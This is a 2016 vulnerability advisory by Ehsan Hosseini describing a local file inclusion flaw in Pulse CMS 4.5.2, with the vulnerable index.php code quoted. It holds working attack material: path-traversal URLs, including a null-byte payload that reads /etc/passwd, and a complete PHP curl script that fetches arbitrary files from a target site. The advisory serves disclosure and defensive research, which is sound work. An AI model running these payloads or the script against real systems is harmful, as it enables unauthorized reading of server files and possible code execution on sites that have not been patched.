Document Title:
===============
Pulse CMS 4.5.2 - Local File Inclusion
References (Source):
====================
http://ehsansec.ir/advisories/plusecms452-lfi.txt
Release Date:
=============
2016-02-28
Product & Service Introduction:
===============================
Pulse CMS is the easiest way to build and deploy a responsive, content
managed website. Since it's a flat file CMS there is no complicated
database setup, just copy it to your server and
go.(https://www.pulsecms.com/)
Software Link:
==============
http://www.pulsecms.com/download/pulse.zip
Vulnerability Type:
=========================
Local File Inclusion
Vulnerability Details:
==============================
I discovered a local file inclusion vulnerability in Pulse CMS 4.5.2.
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Vulnerable File & Code:
=======================
index.php
9 $page = (isset($_GET['p']) && !empty($_GET['p'])) ? $_GET['p'] : 'home';
10 $page = htmlspecialchars($page, ENT_QUOTES, 'UTF-8');
11
12 if (preg_match("///", $page)){
13 if(file_exists("content/pages/".$page."home.txt")){
14 $page = $page."home";
15 }
16 }
27 include("content/pages/$page.txt");
Proof of Concept (PoC):
=======================
-- Local File Inclusion --
http://localhost/pluse/index.php?p=../../../../YourPHP.php
-- For include other type files use null byte nullbyte --
http://localhost/pluse/index.php?p=../../../../etc/passwd%00.php
PHP Exploit
<?php
# index.php
$target = $argv[1];
$file = $argv[2];
// page : index.php
echo "Pulse CMS 4.5.2 - Local File Inclusion\n";
echo "Author : Ehsan Hosseini\n\n\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, $target.'index.php?p='.$file."%00.php");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
$ex = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $ex;
?>
Author:
==================
Ashiyane Digital Security Team
Ehsan Hosseini
http://ehsansec.ir/
SPX tnx to:
===========
Bl4ck_mohajem
Contact:
========
hehsan979@gmail.com
info@ehsansec.ir
